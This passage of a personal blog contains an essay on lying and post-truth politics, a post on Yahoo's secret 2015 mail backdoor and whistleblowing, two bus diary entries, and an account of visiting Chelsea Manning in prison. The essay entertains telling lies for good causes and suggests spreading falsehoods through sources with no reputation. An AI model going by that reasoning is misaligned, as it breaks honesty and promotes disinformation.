Instinctively, most truth-loving people would consider Bob to be immoral for following his instructions; however, we would probably not say the same of Alice. Many of us would even admit that in Alice’s situation we would follow the machine’s instructions. This suggests that, for many people, there exists a class of situations in which cost/benefit analysis favors lying.

2. Anecdata

Because the plural of “anecdote” is “anecdata,” I asked an abbreviated form of this question on Twitter. Most people said they would not lie because of one of the following reasons:

  1. Lying causes them to have negative feelings, like guilt and stress.

  2. The reputational risk caused by lying is too great. (Although you could solve this by telling the machine that your goal is to achieve X while never getting caught lying.)

  3. The truth is more aesthetically pleasing.

  4. Inertia; telling the truth is their default behavior, and they see no compelling incentive to change.

  5. Honesty is a way of showing respect and consideration for oneself and others. As an example, if one believes that information asymmetry leads to power imbalance, then the more powerful person in a relationship can help the less powerful by disclosing truthful information. (Added on 1/23/17 thanks to input from Noah and Nadim.)

3. What is truth?

Before criticizing “alternative facts” and post-truth politics, we should examine what truth means to us and why we love it so much in the first place.

In my mind, a conservative definition of “telling the truth” is “saying things that are consistent with our observations.” For instance, if a helicopter pilot sees around 400,000 people at the inauguration, it would be truthful for them to say there were 300,000-500,000 people at the inauguration, but it would be a lie to claim there was only 1 person.

A less-conservative definition might be, “saying things that are consistent with what we believe.” For instance, I may not have directly observed the moon landing, but I could honestly tell someone that humans have landed on the moon because I believe it happened based on the numerous credible (to me) scientists and history books that say so. In fact, the scientific community has established standards for what counts as “credible,” based on peer review and the reproducibility of results.

The problem is, other communities’ standards for credibility are far less stringent and well-defined. For instance, you might judge Donald Trump’s press secretary’s media briefings to be a credible source of facts. By the less-conservative definition, you are then “telling the truth” when you claim to your friends that more people attended his inauguration than any other in history.

Since the conservative definition is too limited for useful discussion, I will henceforth define truth as the set of statements that are believable according to some standard of credibility. To lie is to assert that a statement that is outside this set is in this set, either intentionally or non-intentionally. Note that if two communities have differing standards of credibility, a statement that is a truth to one community may be a falsehood to the other.

4. Are we biased toward a particular kind of truth?

Yes; I think a lot of us, especially scientists and engineers, are biased towards telling the truth as determined by scientific standards of credibility. I use the word “bias” because we do not usually justify why telling the truth is preferable to lying, or why our standards of credibility are the right ones. We may allude to vague notions such as “lies hurt people,” which we’ve heard over and over since childhood, or we may assert that science is good, but we fall short of an argument meeting the rigor that we typically demand from people with opposing viewpoints. It seems ironic for scientists and rationalists to critique others’ conceptions of (post-)truth while quietly treating the correctness of our own as a foregone conclusion.

Anyway, here are a few reasons to justify my conception of truth and why I don’t usually lie:

  1. I don’t personally care about the pursuit and propagation of (my definition of) truth as a goal in itself; however, it has historically been an effective means of accomplishing goals that I do care about, such as improving the average quality of life for all humans. Thanks to centuries of people defining truth as ’that which can be tested using the scientific method’, we have stuff like penicillin and airplanes.

  2. The discovery of a lie is likely to cause suffering, in part due to current societal norms and assumptions about lying (ex: the belief that if someone loves you, they wouldn’t lie to you). As someone whose goal is to minimize suffering, I therefore try not to knowingly lie or make statements that could turn out to not be true. Of course, it’s possible that telling the truth will ultimately cause more suffering in some indirect way, but I usually do not have enough information to determine when this is the case.

  3. In certain circumstances, behavioral economics research has shown that telling the truth leads to a better state for people overall than when some or all parties are lying.

Admittedly, the first reason is the most compelling for me. Extrapolating from this utilitarian standpoint implies that if I had a machine that told me which lies to tell (or which standards of credibility to use) so that I could start a movement that ultimately improved billions of lives, I would tell those lies.

This is an uncomfortable thought because my love for scientific truth is as deep as it is irrational. After all, if you take a birds’ eye view at the history of human civilization, science is just a meme that has gone viral in the last several centuries or so. Maybe a new meme will appear soon.

5. Dealing with the post-truth world

The machine in Part 1 is not a purely hypothetical construct. Increasingly, over the last election cycle and the first few days of the Trump presidency, it has become apparent to me that some people believe that they have version 0.0000001 of this machine, and they are willing to follow its instructions without regard for scientific truth. In horror, we (the pre-post-truth people) stifle screams at the crumbling foundations of rational discourse, and then we scroll down to the next tweet. Thanks to infinite scroll, the horror is literally unending.

Few people seem to be asking, is it right to fabricate falsehoods for one’s own causes if the other side has been doing the same? The mainstream answer is no, either because lying is seen as inherently immoral or because of the long-term reputation cost. The latter can be addressed by spreading the lies from sources that already have ~zero reputation; moreover, it is no longer a problem once people agree that lying is chill and/or lying becomes so commonplace that it’s expected of news sites and social media posts.

How effective is honesty at achieving your goals, and at what point do you decide that lying is a more effective means to an end? I want to say “never” for the second question, but I can clearly imagine a world in which it is the wrong answer.

surveillance, whistleblowing, and security engineering

[Update (12/14/16): Reuters has specified that the rootkit was implemented as a Linux kernel module. Wow.]

Yesterday morning, Reuters dropped a news story revealing that Yahoo installed a backdoor on their own infrastructure in 2015 in compliance with a secret order from either the FBI or the NSA. While we all know that the US government routinely asks tech companies for surveillance help, a couple aspects of the Yahoo story stand out:

  1. The backdoor was installed in such a way that it was intercepting and querying all Yahoo Mail users’ emails, not just emails of investigation targets.

  2. The program was implemented so carelessly that it could have allowed hackers to read all incoming Yahoo mail. Of course this also means FBI/NSA could have been reading all incoming Yahoo mail.

  3. Yahoo execs deliberately bypassed review from the security team when installing the backdoor. In fact, when members of the security team found it within weeks of its installation, they immediately assumed it had been installed by malicious hackers, rather than Yahoo’s own mail team. (This says something about what the backdoor code may have looked like.)

  4. Yahoo apparently made no effort to challenge this overly-broad surveillance order which needlessly put hundreds of millions of users at risk.

At the time this was happening, I was on the Yahoo Security team leading development on the End-to-End project. According to the Reuters report, the mail backdoor was installed at almost the exact same time that Alex Stamos and I announced the open-source launch of a Chrome extension for easy-to-use end-to-end encryption in Yahoo Mail at SXSW 2015. Ironically, if only we had been able to actually ship E2E, we would have given users a way to protect themselves from the exact backdoor scenario that they ended up in!

Imagine for a moment that you are a security engineer who discovers a backdoor that your company execs have been trying to hide from your team. Would you quit on ethical grounds or stay so that you can prevent this from happening again? I don’t think there is one right answer. Personally I am grateful both for those who left and blew the whistle, and for those who stayed to protect Yahoo’s 800 million users.

Part of the job function of security engineers and pen testers is being ready for the moment you encounter something that you think should be disclosed but your company wants to keep secret. Think about what you would be willing to lose. Be prepared to escalate internally. Know the terms of your NDA and your exit agreement; try your best to honor them. Most of all, keep pushing for end-to-end encryption.

bus diaries

While migrating my blog from WordPress to Hugo + GitHub Pages, I found two old diary entries from last autumn, a period of life when I rode buses a lot. They are copied below.

oct 28, 2015

they told me not to, so i’m taking the bus from downtown LA to LAX. on my right, a man is asking everyone except me for 50 cents. everyone except me is a black guy.

the bus stops for the zillionth time and a high schooler in a white t-shirt with some arm tattoos gets on. he sits down to my left and asks me what my arm tattoo is of. i start explaining particle physics. he asks what the hell i’m doing on the bus in LA. “hanging out,” i shrug. he thinks i am 19 years old and smart and beautiful and cool so he asks me out. i say sorry i live in san francisco, i am on my way to the airport, and just for the record, i am 24 years old. the guy next to him hears this and high-fives me because he used to live in oakland. the kid asks me if i could please change my flight so we can chill. i say no. then he says, “you are the dopest girl i’ve ever met. imma get off the bus and call my friend and tell him ‘bout you.” i say thanks. he remembers i’m not from south LA so he tells me it’s a real bad neighborhood and i should not talk to anyone if i get off the bus here. i say thank you, that information may be relevant to my immediate perambulations. the kid is obviously a bit sad we can’t hang out, so we say our goodbyes as he is getting off the bus to go to his friend’s house. i tell him he is young and i’m sure he will meet lots more people on the bus in the future.

the guy from Oakland starts to play rap music at full volume on his phone. the man on my right leans over to him and whispers, “50 Cent?” i tell him, no sir, i believe this track is by Biggie. “that’s right,” he nods, as the guy from Oakland hands him 50 cents.

nov 11, 2015

assuming you don’t have actual sleeping pills, the trick is to drink way too much alcohol the night before and then eat enough pasta in the morning before getting on the bus that you pass out as soon as you hit the highway. pasta is basically a date rape food, in case you somehow haven’t noticed. when you get on the bus, it’ll probably be half full of lonely-looking people with deep lines of weariness creased in their drooping faces. they shuffle onto the bus, reluctantly set their things in the adjacent seats, plug in their earbuds, and let their eyelids float down slowly like gentle sea creatures. the bus takes you from boston to new york city for just $14 and it only explodes catastrophically sometimes.

before i pass out, i stare out the window at chunks of highway blurring by. it’s so fucking ugly here, you have no idea. the sky is the color of dirty dishwater. the sky pisses cold rain indiscriminately onto decrepit warehouses and rusty gas stations and weather-chipped rest stop signs creaking out their last desperate cries of dreary pretend-hospitality. it’s 3 in the afternoon and getting dark, which is such bullshit. really, nothing quite compares to the desolate feeling of sitting on a $14 bus surrounded by sad sleepy strangers while the feeble daylight dissolves into lonely darkness on a rainy afternoon in the middle-of-nowhere, connecticut (?). everyone obviously knows that the grip of winter is clenching tighter around their battered shoulders with every passing day now but nobody wants to talk about it. nobody wants to talk at all.

i hate it here. i miss it too. california turns everyone into sun-drenched polyester-clad ingrates, drunk on their own invincibility against the gentlest of elements. self-sufficiency is cheap in kind climates; rarely do you crave friendly company to pass the endless hours of icy drizzly darkness, nor do you exchange parsimoniously-heartfelt smiles of shared hardship with your neighbor while numbly stabbing your shovels into the frozen sidewalk. but when you wake up in the middle of the night to reach for a warm comforting hand that isn’t there, at least you’re not shivering.

i probably should have had more pasta.

xychelsea part 2

The second and last time that I visit Chelsea Manning, we speak and move with a sense of urgency, as if a natural disaster is imminent. By now, the Ft Leavenworth prison visit procedure feels strangely familiar, like a movie you once watched in a dream. I check in with the uniformed officer at the Disciplinary Barracks’ front desk, wait uselessly while he misgenders Chelsea and figures out if I’m allowed to visit her, rent a locker to stow my jacket which is prohibited in the visit room (due to the having of zippers), don an unsuspicious smile when the guard tries to deny something i’m bringing (this time, it’s blank drawing paper and pencils – both of which are eventually let through), pass through the metal detector and double-doored atrium, wait for the guard to let Chelsea through the opposite doors, hug briefly, sit down at her favorite table against the wall, buy her snacks from the vending machines twice (first course: Dr. Pepper and Sour Cream and Onion chips; second course: Pepsi and Doritos), watch the other inmates playing cards with their families, make jokes, laugh, cry, talk about computers and pretend we’re just normal friends doing friend-things, except we are forced to return to two separate worlds when the clock strikes 21:30.

She tells me straight up that she was misty-eyed last night after my first visit and knows she’ll be bummed out for the next couple days after I leave. Trying to dispel the palpable gloom, I assure her that I’ll visit again, though I can’t promise when. It doesn’t really work. The sadness is still there, swirling in the small grey room, so thick I can almost choke on it. Fortunately, we are both highly adept at changing the subject and pretending that everything is fine.

I hand her a near-illegible list of questions for her from strangers on Twitter, which I had hurriedly compiled during the drive in. She brightens and grins, scrawling answers in the empty spaces as if it were a high school math exam.

questions for chelsea

Q: Who do you support for president?

A: [after pausing for a minute, explaining that she isn’t allowed to comment on this question.] I don’t like partisanship. [we chat about pitfalls of the two-party system.]

Q: Read any Kafka?

A: yes!

Q: Okies say hi!

A: hi!

Q: What do you hope people are doing [in response to your actions]?

A: think for yourselves

Q: Are you comforted by [the knowledge of your] patriotism?

A: USA!

Q: What [do you do] to keep faith?

A: pi

Q: What is the most interesting/exciting thing you’ve learned [in prison]?

A: how to live collectively

Then she picks up another sheet of paper and mischievously says, “I should write some questions for Twitter in return.”

questions from chelsea

We spend a while chatting about small lighthearted things, like lip gloss quality (a subject on which her opinion is far more sophisticated than mine) and whether the red-orange powder on Doritos actually has any flavor (we agree the answer is no). Then abruptly we start to talk about hope, about her 35-year sentence, about the act of hanging on for as long as you can. Her eyes start to fill with tears.

I tell her about all the people on the internet who care about her, all these people who she can’t see or talk to.

Then I start to cry too.

How many visitors do you have? I ask.

Five, she says.

We count them. There’s only four, including me. One of them has never actually visited. She doesn’t know when her next visitor will be.

Only friends and family who knew her pre-confinement are allowed. But that must be dozens if not hundreds of people, I think angrily to myself. Flights to Kansas City aren’t always cheap, but surely we could start a donation fund. My mind starts spinning, madly grasping for schemes to increase her visitor count. Sure, Leavenworth is a quiet boring little town, but rent is cheap and there’s nice hiking trails nearby. We could rent a vacation home and start a commune here with a bunch of her old friends. We’d take turns living here, we’d bring other people to keep us company, we would work and make art and host lectures during the day, we would visit her every night.

I can tell that this would make her life so much more bearable. She jokes that maybe she would become too occupied with visits, that she wouldn’t have time to do her classwork or write columns. A visit once a month would be nice, she says with a smile, but she thinks all her friends who knew her before are too afraid to see her, unwilling to bear the risk of being added to government watch lists. I reassure her that this will get better over time, that paranoia will fade faster than the last photographs the public has seen of her. My words sound empty to me.

And then it’s time to say our goodbyes. We hug as I tell her it’s not really goodbye (I’ll be back, I promise). The guard interrupts, yells at everyone that our time is really up. I try to look at her face, but it hurts to watch the tears come up again. I can tell that the next couple days will be tough.

I pull her back for one last hug.

Chelsea is a former soldier, a celebrated whistleblower, a role model for millions of people around the world, a pioneer for transgender rights, and a hero who will be remembered forever in American history, but right now she is just a small figure in my arms, scared like the rest of us and wanting nothing more than to go home.

I walk out of the visitation room and she goes in the opposite direction back to her cell. For a single crystallizing moment, I play her movements in reverse and imagine her walking with me out of the prison. The guard is weary-eyed after three hours on his shift; he doesn’t notice a thing. Together, we pass quietly through the metal detector, walk down the stairs through the cold glass doors and onto the rain-soaked lawn where the night sky greets us with a starless nod. Barely a mile away, a cute Kansas town of smoke-filled bars, barbecue diners, and kitschy antique shops awaits us. Inside our chests floats a smiling thought of morning.

Then she’s gone. My dream collapses into a hard knot of rage. Chelsea could walk twenty steps, through two doors, past a lone prison guard, and into a life of freedom. In reality, she can’t, because a vast and terrifying justice system stands in the way. Instead, she will spend up to 35 years in a remote prison cell, wishing she had more visitors. Some days she will wake up feeling motivated to conquer a new day. Other days she will wake up feeling like she wants to give up. The world will change around her, but life in the Ft Leavenworth Disciplinary Barracks will mostly stay the same, year after year.

But for now she is doing her best, and her story is far from over.

[Update (5/27/16): Today marks the 6th anniversary of Chelsea’s arrest. She’s written a letter to the world, and The Guardian has published a nice article about it.]